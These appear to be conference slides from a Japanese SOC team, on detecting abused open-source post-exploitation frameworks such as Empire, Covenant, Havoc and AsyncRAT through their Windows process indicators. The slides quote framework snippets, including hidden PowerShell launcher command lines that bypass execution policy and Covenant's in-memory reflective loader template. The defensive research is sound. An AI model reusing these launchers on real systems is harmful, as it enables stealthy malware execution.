Threat Intelligence ofAbused Public Post-Exploitation Frameworks

Internet Initiative Japan Inc.
Masafumi Takeda
Tomoya Furukawa
Copyright Internet Initiative Japan Inc.

Who are we• Masafumi Takeda– SOC member since 2018
– Experience in building andoperating SOC infrastructure andEDR evaluation• Tomoya Furukawa– SOC member since 2017
– Experience in SIEM management

Copyright Internet Initiative Japan Inc.

1

Our Motivation• Authors of Post-Exploitation Frameworks have made theirsource code publicly available– Attackers can use them without any financial cost

• Some Post-Exploitation Frameworks that the attackers used
are not listed in MITRE ATT&CK database• Indicators of some Post-Exploitation Frameworks listed in
MITRE ATT&CK database have not been analyzed

Copyright Internet Initiative Japan Inc.

2

Our Motivation• Authors of Post-Exploitation Frameworks have made theirsource code publicly available– Attackers can use them without any financial cost

• Some Post-Exploitation Frameworks that the attackers used
are not listed in MITRE ATT&CK database• Indicators of some Post-Exploitation Frameworks listed in
MITRE ATT&CK database have not been analyzed

1. Investigating frameworks that are not listed
in MITRE ATT&CK database
2. Analyzing indicators related to MITRE
ATT&CK techniques
Copyright Internet Initiative Japan Inc.

3

MITRE ATT&CK Tactics
Tactics

Description

Execution

The adversary is trying to run malicious code

Persistence

The adversary is trying to maintain their foothold

Privilege Escalation

The adversary is trying to gain higher-level permissions

Defense Evasion

The adversary is trying to avoid being detected

Credential Access

The adversary is trying to steal account names and passwords

Discovery

The adversary is trying to figure out your environment

Lateral Movement

The adversary is trying to move through your environment

Collection

The adversary is trying to gather data of interest to their goal

Command and Control

The adversary is trying to communicate with compromised systems to control them

Exfiltration

The adversary is trying to steal data

Impact

The adversary is trying to manipulate, interrupt, or destroy your systems and data

https://attack.mitre.org/tactics/enterprise/
Copyright Internet Initiative Japan Inc.
4

Presentation contents• Introduction of techniques that many Post-Exploitation
Frameworks have in common– In this presentation, we will introduce some "Execution" and"Persistence" techniques• Indicators based on their source code
– They might be recorded in Windows event logs

Copyright Internet Initiative Japan Inc.

5

Surveying Post-Exploitation Tools

Copyright Internet Initiative Japan Inc.

6

C2Matrix• Lists C&C tools• Listed 139 tools as of December 2023
– Commercial and deleted tools are also listed

https ://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6a A-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0
Copyright Internet Initiative Japan Inc.

7

Analyzing tools listed in C2Matrix• 22% of the tools (31 tools) has been abused

Not
Abused78%

Abused22%

Copyright Internet Initiative Japan Inc.

8

Analyzing tools listed in C2Matrix• 22% of the tools (31 tools) has been abused• 87% of the abused tools (27 tools) are published on GitHub

Not
Abused78%

Not
Public13%

Abused22%

Public87%

Copyright Internet Initiative Japan Inc.

9

Selecting analysis targets

1. Source code is publicly available
2. Abuse cases has been reported
3. At least five of the “Tactics” in MITRE ATT&CK apply to thetarget–To exclude tools with limited functionality from the analysis

Copyright Internet Initiative Japan Inc.

10

Selecting analysis targets

1. Source code is publicly available
2. Abuse cases has been reported
3. At least five of the “Tactics” in MITRE ATT&CK apply to thetarget–To exclude tools with limited functionality from the analysis

Target Frameworks••••

AsyncRAT
Covenant
DcRat
Empire

•
•
•

Havoc
KoadicMerlin•••PoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

11

Introducing Target Frameworks

Copyright Internet Initiative Japan Inc.

12

Version information
Framework

Evaluated Version (Release Date)

AsyncRAT

v0.5.8 (10/17/2023)

Covenant

v0.6 (08/18/2020)

DcRat

v1.0.7 (05/06/2021)

Empirev5.7.3 (10/17/2023)

Havoc

No release version (08/25/2023)

KoadicNo release version (01/03/2022)

Merlinv2.0 (11/06/2023)

PoshC2v8.1 (08/01/2022)

Quasar

v1.4.1 (05/13/2023)

Sliver

v1.5.41 (07/12/2023)

Copyright Internet Initiative Japan Inc.

13

AsyncRAT• Written in C#, published in 2019
• Latest version is v0.5.8（published on 10/17/2023）• Listed in the MITRE ATT&CK database–

https://attack.mitre.org/software/S1087/• Features– Based on Quasar– Added defense evasion features such as Process Injection or
disabling AV• Example threat report– OneNote Documents Increasingly Used to Deliver Malware,
https://www.proofpoint.com/us/blog/threat-insight/onenote-documents-increasingly-used-to-deliver-malware

Copyright Internet Initiative Japan Inc.

14

Covenant• Written C#, published in 2019
• Latest version is v0.6（published on 08/18/2020）– Development is stopped since 04/22/2021• Not listed in the MITRE ATT&CK database• Features– Contains many launcher types– SharpSploit is utilized in many features• Example threat report– Operation RestyLink: APT campaign targeting Japanese companies,
https://jp.security.ntt/tech_blog/102hojk

Copyright Internet Initiative Japan Inc.

15

DcRat (not Dark Crystal Rat)

• Written in C#, published in 2021
• Latest version is v1.0.7 (published on 05/06/2021)– This repository is archived because it was abused• Not listed in the MITRE ATT&CK database• Features– Based on AsyncRAT– Added some features such as ransom• Example threat report– OnlyDcRatFans: Malware Distributed Using Explicit Lures of
OnlyFans Pages and Other Adult Content,
https://www.esentire.com/blog/onlydcratfans-malwar e-distributed-u sing-explicit-lures-of-onlyfan s-pages- and-other-adult-conten t

Copyright Internet Initiative Japan Inc.

16

Empire (a.k.a PowerShell Empire)• Written as PowerShell scripts, published in 2019
– BC Security develops Empire since 2020 (v3.0)• Latest version is v5.8.4 (published on 12/22/2023)• Listed in MITRE ATT&CK database–

https://attack.mitre.org/software/S0363/• Features– A launcher needs to start an agent• Launcher is available in five file types– May expand its functionality with modules– Built-in Covenant• Example threat report– OnlyDcRatFans: Malware Distributed Using Explicit Lures of
OnlyFans Pages and Other Adult Content,
https://www.esentire.com/blog/onlydcratfans-malware-distributed-using-explicit-lures-of-onlyfans-pages-andother-adult-content

Copyright Internet Initiative Japan Inc.

17

Havoc• Written in C, published in 2022
• Not version controlled– Main branch is updated in 2023

• Not listed in the MITRE ATT&CK database• Features– Execution with BOF (Beacon Object File)– Thorough detection evasion– May expand functionality with modules• Example threat report– Malware Disguised as Document from Ukraine's Energoatom
Delivers Havoc Demon Backdoor, https://www.fortinet.com/blog/threatresearch/malware-disguised-as-document-ukraine-energoatom-delivers-havoc-demon-backdoor
Copyright Internet Initiative Japan Inc.

18

Koadic• Written in Python, published in 2017
– Agent is written in JScript/VBScript• The latest version was published in 2021
– Its development is still active• Listed in the MITRE ATT&CK database–

https://attack.mitre.org/software/S0250/• Features– Most operations are executed using Windows Script Host
– This framework can use SSL and TLS for secure communications• Example threat report– The Cyber Attack "kiya" Targets the Construction Industry,
https://jp.security.ntt/tech_blog/102g0dt
Copyright Internet Initiative Japan Inc.

19

Merlin• Written in Go, published in 2017
• Development is still active in 2023
– Latest version is v2.1.1（published on 01/05/2024）• Not listed in the MITRE ATT&CK database• Features– Cross-platform– May expand functionality by using external attack tools as modules• Example threat report– MerlinAgent: новий open-source інструмент для здійснення
кібератак у відношенні державних організацій України (CERTUA#6995, CERT-UA#7183), https://cert.gov.ua/article/5391805
Copyright Internet Initiative Japan Inc.

20

PoshC2• Written in Python, published in 2016
• Latest version is v8.1 (published on 08/01/2022)• Listed in MITRE ATT&CK database–

https://attack.mitre.org/software/S0378/• Features– Multiple agent formats• C++ DLL, Shellcode, DotNet2JS, Executable, Msbuild, CSC, macOS JXA
Dropper, Python2 Dropper• Cross-platform• Example threat report– オープンソースのツール「PoshC2」を悪用した新たな標的型攻撃を確認(Japanese), https://www.lac.co.jp/lacwatch/people/20190213_001770.html
Copyright Internet Initiative Japan Inc.

21

Quasar (a.k.a Quasar RAT)

• Written in C#, published in 2015
– xRAT, its predecessor, was published in 2014

• Latest version is v1.4.1 (published on 05/13/2023)• Listed in MITRE ATT&CK database–

https://attack.mitre.org/software/S0262/• Features– Operation by GUI– General RAT functions• Example threat report– OneNote Documents Increasingly Used to Deliver Malware,
https://www.proofpoint.com/us/blog/threat-insight/onenote-documents-increasingly-used-to-deliver-malware

Copyright Internet Initiative Japan Inc.

22

Sliver• Written in Go, published in 2019
• Latest version is v1.5.41（published on 07/12/2023）• Listed in the MITRE ATT&CK database–

https://attack.mitre.org/software/S0633/• Features– Cross-platform– Can use mTLS and DNS as a C&C protocol– May expand functionality with Armory modules• Example threat report– Sliver C2 Being Distributed Through Korean Program Development
Company, https://asec.ahnlab.com/en/55652/
Copyright Internet Initiative Japan Inc.

23

Tactics matrix
Execution

Persistence

Privilege
Escalation

DefenseEvasionCredential
AccessDiscovery

LateralMovement

Collection

Com mandand Control

Exfiltration

Im pact

QuasarEmpireMerlinAsyncRAT

SliverCovenant
PoshC2
DcRat
KoadicHavoc
Copyright Internet Initiative Japan Inc.

24

We unchecked Lateral Movement of AsyncRAT, DcRat, andQuasarExecution

Persistence

Privilege
Escalation

DefenseEvasionCredential
AccessDiscovery

LateralMovement

Collection

Com mandand Control

Exfiltration

Im pact

QuasarEmpireMerlinAsyncRAT

SliverCovenant
PoshC2
DcRat
KoadicHavoc
Copyright Internet Initiative Japan Inc.

25

Why we considered that these frameworks don’t have
“Lateral Movement” capability• Quasar, AsyncRAT and DcRat have a remote desktop
capability– This capability is classified as "Lateral Movement" on MITRE
ATT&CK database• But their remote desktop capabilities are used against thecompromised device• We classified their remote desktop capabilities as "Remote
Access Software", which is one of "Command and Control"
techniques

Copyright Internet Initiative Japan Inc.

26

Threat Intelligence~ Execution ~Copyright Internet Initiative Japan Inc.

27

Execution matrix 1
Technique

Windows Command Shell

PowerShell

Count

Frameworks

10/10

•
•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
MerlinPoshC2
QuasarSliver

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireHavoc
MerlinPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

28

Execution matrix 2
TechniqueCount

Frameworks

Native API

4/10

•
•
•
•

EmpireHavoc
MerlinSliverCommand Interpreter

1/10

•

Empire

WMI

1/10

•

KoadicCopyright Internet Initiative Japan Inc.

29

Focus on Windows Command Shell
Technique

Windows Command Shell

PowerShell

Count

Frameworks

10/10

•
•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
MerlinPoshC2
QuasarSliver

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireHavoc
MerlinPoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

30

Windows Command Shell features• Usage– Remote shell• AsyncRAT, DcRat, Quasar, Sliver– Command execution• Koadic, Havoc, Merlin, Covenant– Launcher execution• Empire, PoshC2• Indicators– Parent process– Command line

Copyright Internet Initiative Japan Inc.

31

Remote shell indicator matrix

Framework

Parent Process

Command Line

AsyncRAT<AsyncRAT process>

"cmd"

DcRat

<DcRat process>"cmd"

Quasar<Quasar process>"cmd" /K chcp <Code page>

Sliver<Sliver process>

C:¥Windows¥System32¥cmd.exe

Copyright Internet Initiative Japan Inc.

32

Execution of cmd.exe in interactive mode

Framework

Parent Process

Command Line

AsyncRAT<AsyncRAT process>

"cmd"

DcRat

<DcRat process>"cmd"

Quasar<Quasar process>"cmd" /K chcp <Code page>

Sliver<Sliver process>

C:¥Windows¥System32¥cmd.exe

Copyright Internet Initiative Japan Inc.

33

Command line is "cmd"

Framework

Parent Process

Command Line

AsyncRAT<AsyncRAT process>

"cmd"

DcRat

<DcRat process>"cmd"

Quasar<Quasar process>"cmd" /K chcp <Code page>

Sliver<Sliver process>

C:¥Windows¥System32¥cmd.exe

Copyright Internet Initiative Japan Inc.

34

Remote shell source code

AsyncRAT

DcRat

public static void StarShell(){
ProcessShell = new Process(){
StartInfo = new ProcessStartInfo("cmd"){
UseShellExecute = false,
CreateNoWindow = true,
RedirectStandardOutput = true,
RedirectStandardInput = true,
RedirectStandardError = true,
WorkingDirectory =Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))}};https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/Miscellaneous/Miscellaneous/Handler/HandleShell.cs#L26-L39
Copyright Internet Initiative Japan Inc.

35

Indicators

AsyncRAT

Item

Value

ParentProcess<AsyncRAT or DcRat process>Command
Line

"cmd"

DcRat

Copyright Internet Initiative Japan Inc.

36

Command execution with cmd.exe indicator matrix
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

37

Havoc command line does not contain cmd.exe path
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

38

“shell” command source code

Havoc

else if ( InputCommands[ 0 ].compare( "shell" ) == 0 ) {Arguments only
if ( InputCommands.length() > 1 ) {auto Program = QString("c:¥¥windows¥¥system32¥¥cmd.exe");
auto Args = QString( "/c " + JoinAtIndex( InputCommands, 1 ) ).toUtf8().toBase64();// InputCommands[ 1 ].;TaskID = CONSOLE_INFO( "Tasked demon to execute a shell command" );CommandInputList[ TaskID ] = commandline;
SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" +Args ) )}}https://github.com/HavocFramework/Havoc/blob/main/client/src/Havoc/Demon/ConsoleInput.cc#L876-L883
Copyright Internet Initiative Japan Inc.

39

Execution process source code

Havoc

case DEMON_COMMAND_PROC_CREATE: PUTS( "Proc::Create" ) {<…snip…>
Success = ProcessCreate( TRUE, Process, ProcessArgs, ProcessState, &ProcessInfo,
ProcessPiped, NULL );https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Command.c#L423-L448

BOOL ProcessCreate(IN BOOL x86, IN LPWSTR App, IN LPWSTR CmdLine,IN DWORD Flags, OUT PROCESS_INFORMATION* ProcessInfo,
IN BOOL Piped, IN PANONPIPE DataAnonPipes){<…snip…>
if ( ! Instance.Win32.CreateProcessWithTokenW(PrimaryToken,
LOGON_NETCREDENTIALS_ONLY, App, CmdLine,<…snip…>
Arguments only)
https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Win32.c#L579-L683
Copyright Internet Initiative Japan Inc.

40

Indicators

Havoc

Item

Value

ProcessName

cmd.exe

CommandLine/c <any command line>

Copyright Internet Initiative Japan Inc.

41

“proc create” command source code

Havoc

Unlike "shell" command, theArgs = "¥"" + Program + "¥"";
processfor (int i = Index; i < InputCommands.length();++i) path is added to 'Args' in"proc create" command, which{makes the command line to be
Args += " " + InputCommands[ i ];natural in this command}<…snip…>
SEND( Execute.ProcModule( TaskID, 4, Flags + ";" + Verbose + ";" + Piped + ";" +Program + ";" + Args ) )https://github.com/HavocFramework/Havoc/blob/main/client/Source/Havoc/Demon/ConsoleInput.cpp#L876 -L895

Copyright Internet Initiative Japan Inc.

42

Koadic Indicators are very interesting!
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

43

Stager module targeting user execution

Koadic• Koadic has 6 types of stagers– Stagers download a Koadic agent from a C&C server and execute it• The agent’s process is one of rundll32.exe, regsvr32.exe or
wmic.exe
StagerAgent Process

stager/js/mshta
stager/js/rundll32_js
stager/js/diskrundll32.exe

stager/js/bitsadmin
stager/js/regsvr

regsvr32.exe

stager/js/wmic

wmic.exe

Copyright Internet Initiative Japan Inc.

44

shell_exec source code

KoadicKoadic.shell.exec = function(cmd, stdOutPath){
cmd = "chcp " + Koadic.user.shellchcp() + " & " + cmd;
var c = "%comspec% /q /c " + cmd + " 1> " +Koadic.file.getPath(stdOutPath);
Executes commands in the shellc += " 2>&1";
specified in %COMSPEC%
Koadic.WS.Run(c, 0, true);
https://github.com/offsecginger/koadic/blob/main/data/stager/js/stdlib.js#L952-L957

try{
var readout = ~OUTPUT~;
if (readout){
var output = Koadic.shell.exec("~FCMD~","~FDIRECTORY~¥¥"+Koadic.uuid()+".txt");}
https://github.com/offsecginger/koadic/blob/main/data/implant/manage/exec_cmd.js#L1 -L7
Copyright Internet Initiative Japan Inc.

45

Indicators

Koadic

Item

Value

ParentProcess•••

CommandLine

C:¥Windows¥system32¥cmd.exe /q /c chcp <user code> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"

rundll32.exe
regsvr32.exe
wmic.exe

Copyright Internet Initiative Japan Inc.

46

Merlin executes the shell set in %COMSPEC%
Framework

Parent Process

Command Line

Havoc

<Havoc process>/c <command>

rundll32.exe
Koadicregsvr32.exe
wmic.exe

Merlin<Merlin process>

C:¥Windows¥system32¥cmd.exe/q /c chcp <code page> &<command>1> %LocalAppData%¥Temp¥<uuid>.txt 2>&1"(default)
C:¥Windows¥system32¥cmd.exe /c<command line>

Copyright Internet Initiative Japan Inc.

47

Agent execution with cmd.exe indicator matrix

Framework

Parent Process

Empire(default) cmd.exe
PoshC2

Command Line(default) powershell.exe -nop -ep
bypass -w 1 -enc <base64encoded
script>powershell -exec bypass Noninteractive -windowstyle hidden e <base64 encoded script>

Copyright Internet Initiative Japan Inc.

48

Empire and PoshC2 launcher are BAT files

Framework

Parent Process

Empire(default) cmd.exe
PoshC2

Command Line(default) powershell.exe -nop -ep
bypass -w 1 -enc <base64encoded
script>powershell -exec bypass-Noninteractive -windowstyle hidden-e <base64 encoded script>

Copyright Internet Initiative Japan Inc.

49

launcher_bat source code

Empirelauncher_ps = (self.mainMenu.obfuscationv2.obfuscate(launcher_ps, obfuscate_command)
if obfuscateelse launcher_ps)
launcher_ps = enc_powershell(launcher_ps).decode("UTF-8")
launcher = f"powershell.exe -nop -ep bypass -w 1 -enc {launcher_ps}"
https://github.com/BC-SECURITY/Empire/blob/main/empire/server/stagers/windows/launcher_bat.py#L120-L128

Copyright Internet Initiative Japan Inc.

50

Launcher BAT file

EmpiredecodeCopyright Internet Initiative Japan Inc.

This PowerShell script downloads
the agent and execute it51

Indicators

Empire

Item

Value

ParentProcess

cmd.exe

CommandLine(default) powershell.exe -nop -ep bypass -w 1
-enc <base64encoded script>

Copyright Internet Initiative Japan Inc.

52

Generating launcher source code

PoshC2

with open("%s%spayload.txt" % (self.BaseDirectory, name), 'w') as f:f.write(self.PSDropper)
self.QuickstartLog("Batch Payload written to: %s%spayload.bat" %(self.BaseDirectory, name))
encodedPayload = base64.b64encode(b64gzip.encode('UTF-16LE'))batfile = "powershell -exec bypass -Noninteractive -windowstyle hidden e %s" % encodedPayload.decode("utf-8")
https://github.com/nettitude/PoshC2/blob/master/poshc2/server/payloads/Payloads.py#L145 -L148

Copyright Internet Initiative Japan Inc.

53

Indicators

PoshC2

Item

Value

ParentProcess

cmd.exe

CommandLine

powershell -exec bypass -Noninteractive -windowstyle hidden-e <base64 encoded script>

Copyright Internet Initiative Japan Inc.

54

Focus on PowerShell
Technique

Windows Command Shell

PowerShell

Count

Frameworks

10/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
PoshC2
QuasarSliver

9/10

•
•
•
•
•
•
•
•
•

AsyncRAT
Covenant
DcRat
EmpireKoadic
Havoc
PoshC2
QuasarSliverCopyright Internet Initiative Japan Inc.

55

PowerShell features• Usage– Remote shell• Sliver– Command and script execution• Koadic, Havoc, Merlin, AsyncRAT, DcRat, Quasar– Launcher execution• Empire, Covenant• Indicators– Command line

Copyright Internet Initiative Japan Inc.

56

Remote shell indicator

Framework

Command Line

SliverC:¥Windows¥System32¥WindowsPowerShell¥v1.0¥
powershell.exe"-NoExit -Command[Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8"

Copyright Internet Initiative Japan Inc.

57

Remote shell with PowerShell

Sliver• Sliver can execute PowerShell as a remote shell using the"shell" command– If PowerShell does not exist, it will execute cmd.exe• Warns that it is not a recommended command

Copyright Internet Initiative Japan Inc.

58

Indicators

Sliver

Item

Value

ParentProcess<any Sliver process>CommandLine

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe"-NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8"

Copyright Internet Initiative Japan Inc.

59

Command and script execution with powershell.exe
indicator matrix

Framework

AsyncRAT

Command Line

DcRat

powershell -ExecutionPolicy Bypass -WindowStyle
Hidden -NoExit -FilePath '"%TEMP%¥[a-z] {6}.ps1"'

Havoc-C <any command line>

Copyright Internet Initiative Japan Inc.

60

AsyncRAT and DcRat execute a PowerShell script received
from a C&C Server

Framework

AsyncRAT

Command Line

DcRat

powershell -ExecutionPolicy Bypass -WindowStyle
Hidden -NoExit -FilePath '"%TEMP%¥[a-z] {6}.ps1"'

Havoc-C <any command line>

Copyright Internet Initiative Japan Inc.

61

SendFile function

AsyncRAT

DcRat• AsyncRAT and DcRat can receive and execute files from the
C&C server using the 'SendFile' feature on the C&C Server• When 'To Disk' is selected, the script is written to a file, and it
will be executed using PowerShell

Copyright Internet Initiative Japan Inc.

62

SendFile function source code

AsyncRAT

DcRat

string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +unpack_msgpack.ForcePathObject("Extension").AsString);<…snip…>
If (unpack_msgpack.ForcePathObject(“Extension”).AsString.ToLower().EndsWith(".ps1")){
Process.Start(new ProcessStartInfo{
FileName = "cmd",
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden-NoExit -FilePath {"'" + "¥"" + fullPath + "¥"" + "'"} & exit",
CreateNoWindow = true,<…snip…>});}
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31
Copyright Internet Initiative Japan Inc.

63

SendFile function source code

AsyncRAT

DcRat

string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +unpack_msgpack.ForcePathObject("Extension").AsString);<…snip…>
If (unpack_msgpack.ForcePathObject(“Extension”).AsString.ToLower().EndsWith(".ps1")){
Process.Start(new ProcessStartInfo{
The file is written to the path:
FileName = "cmd",%Temp%¥[a-z]{6}.<Extension>
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden-NoExit -FilePath {"'" + "¥"" + fullPath + "¥"" + "'"} & exit",
CreateNoWindow = true,<…snip…>});}
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31
Copyright Internet Initiative Japan Inc.

64

SendFile function source code

AsyncRAT

DcRat

string fullPath = Path.Combine(Path.GetTempPath(), Methods.GetRandomString(6) +unpack_msgpack.ForcePathObject("Extension").AsString);<…snip…>
If (unpack_msgpack.ForcePathObject(“Extension”).AsString.ToLower().EndsWith(".ps1")){
Process.Start(new ProcessStartInfo{
FileName = "cmd",
Arguments = $"/c start /b powershell –ExecutionPolicy Bypass -WindowStyle Hidden-NoExit -FilePath {"'" + "¥"" + fullPath + "¥"" + "'"} & exit",
CreateNoWindow = true,<…snip…>
cmd.exe /c start /b powershell -ExecutionPolicy Bypass}); -WindowStyle Hidden -NoExit -FilePath <script path> & exit}
https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp/blob/master/AsyncRAT-C%23/Plugin/SendFile/SendFile/Handler/HandleSendTo.cs#L18-L31
Copyright Internet Initiative Japan Inc.

65

Indicators

AsyncRAT

DcRat

Item

Value

ParentProcess

cmd.exe

CommandLine

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoExit -FilePath'"%TEMP%¥[a-z] {6}.ps1"'

Copyright Internet Initiative Japan Inc.

66

Havoc command line does not contain powershell.exe
path

Framework

AsyncRAT

Command Line

DcRat

powershell -ExecutionPolicy Bypass -WindowStyle
Hidden -NoExit -FilePath '"%TEMP%¥[a-z] {6}.ps1"'

Havoc-C <any command line>

Copyright Internet Initiative Japan Inc.

67

powershell.exe execution source code

Havoc

else if ( InputCommands[ 0 ].compare( "powershell" ) == 0 ) {if ( InputCommands.length() > 1 ) {auto Program =QString("C:¥¥Windows¥¥System32¥¥WindowsPowerShell¥¥v1.0¥¥powershell.exe");// NOTE: the 'powershell' command does not need to escape quotes
auto Args = QString( "-C " + JoinAtIndex( commandline.split( " " ),1 ) ).toUtf8().toBase64();

Args variable only contains arguments.

TaskID = CONSOLE_INFO( "Tasked demon to execute a powershellThis is the same in its "shell" command.
command/script" );CommandInputList[ TaskID ] = commandline;
SEND( Execute.ProcModule( TaskID, 4, "0;FALSE;TRUE;" + Program + ";" + Args ) )}https://github.com/HavocFramework/Havoc/blob/main/client/src/Havoc/Demon/ConsoleInput.cc#L1815 -L1826
Copyright Internet Initiative Japan Inc.

68

Indicators

Havoc

Item

Value

Process
Name

C:¥Windows¥System32¥WindowsPowerShell¥v1.0¥powershell.exe

CommandLine-C <any command line>

Copyright Internet Initiative Japan Inc.

69

Launcher execution with powershell.exe
Framework

Command Line

Empire(default) powershell.exe -noP -sta -w 1 -enc<base64encoded script>

Covenant

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘<base64 encode
file’>),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gvd).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gvd).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null";Copyright Internet Initiative Japan Inc.

70

Launcher execution option is a bit different compared to
cmd.exe execution
Framework

Command Line

Empire(default) powershell.exe -noP -sta -w 1 -enc<base64encoded script>

Covenant

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Conv
Launcher execution with cmd.exe:ert]::FromBase64String(‘<base64
encodepowershell.exe -nop -ep
bypass -w 1
file’>),[IO.Compression.CompressionMode]::Decompress)-enc <base64encoded script>);sv b (New-Object Byte[](1024));sv r (gvd).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gvd).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null";Copyright Internet Initiative Japan Inc.

71

Launcher module targeting user execution

Empire• Empire has multiple file types for its launcher• The launcher runs with the execution options configured in thelistener• When the listener protocol is set to http or http_com, only the
execution options for 'launcher_bat' are modified
LauncherApplication

launcher_vbs

wscript.exe

launcher_hta

mshta.exe

launcher_sct

regsvc32.exe

launcher_xml

MSBuild.exe

launcher_lnk

explorer.exe

launcher_bat

cmd.exe

Copyright Internet Initiative Japan Inc.

72

Default launcher execution option example

Empire"Launcher": {"Description": "Launcher string.","Required": True,"Value": "powershell -noP -sta -w 1 -enc ",},Default launcher execution option

https://github.com/BC-SECURITY/Empire/blob/main/empire/server/stagers/windows/launcher_bat.py#L120-L128

Copyright Internet Initiative Japan Inc.

73

Indicators

Empire

Item

Value

CommandLine(default) powershell.exe -noP -sta -w 1 -enc <base64encoded script>

Copyright Internet Initiative Japan Inc.

74

Covenant launcher execution command line is very long
Framework

Command Line

Empire(default) powershell.exe -noP -sta -w 1 -enc<base64encoded script>

Covenant

sv o (New-Object IO.MemoryStream);sv d (New-Object
IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘<base64 encode
file’>),[IO.Compression.CompressionMode]::Decompress));sv b (New-Object Byte[](1024));sv r (gvd).Value.Read((gv b).Value,0,1024);while((gv r).Value -gt0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);sv r (gvd).Value.Read((gvb).Value,0,1024);}[Reflection.Assembly]::Load((gvo).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|
Out-Null";Copyright Internet Initiative Japan Inc.

75

PowerShell launcher source code

Covenant

private static readonly string PowerShellLauncherCodeTemplate = @“sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘{{GRUNT_IL_BYTE_STRING}}’),[IO.Compression.CompressionMode]::Decompress));
sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);
while((gv r).Value -gt 0){(gv o).Value.Write((gv b).Value,0,(gv r).Value);
sv r (gv d).Value.Read((gv b).Value,0,1024);}[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null";
https://github.com/cobbr/Covenant/blob/master/Covenant/Models/Launchers/PowerShellLauncher.cs#L71
Copyright Internet Initiative Japan Inc.

76

PowerShell launcher source code

Covenant

private static readonly string PowerShellLauncherCodeTemplate = @“sv o (New-Object IO.MemoryStream);sv d (New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(‘{{GRUNT_IL_BYTE_STRING}}’),[IO.Compression.CompressionMode]::Decompress));
sv b (New-Object Byte[](1024));sv r (gv d).Value.Read((gv b).Value,0,1024);
while((gv r).Value -gt 0){(gv o).Value.Write((gvb).Value,0,(gvr).Value);
Covenant
agent
is compressed withsv r (gv d).Value.Read((gv b).Value,0,1024);
Deflate algorithm}
and encoded in Base64[Reflection.Assembly]::Load((gv o).Value.ToArray()).EntryPoint.Invoke(0,@(,[string[]]@()))|Out-Null";
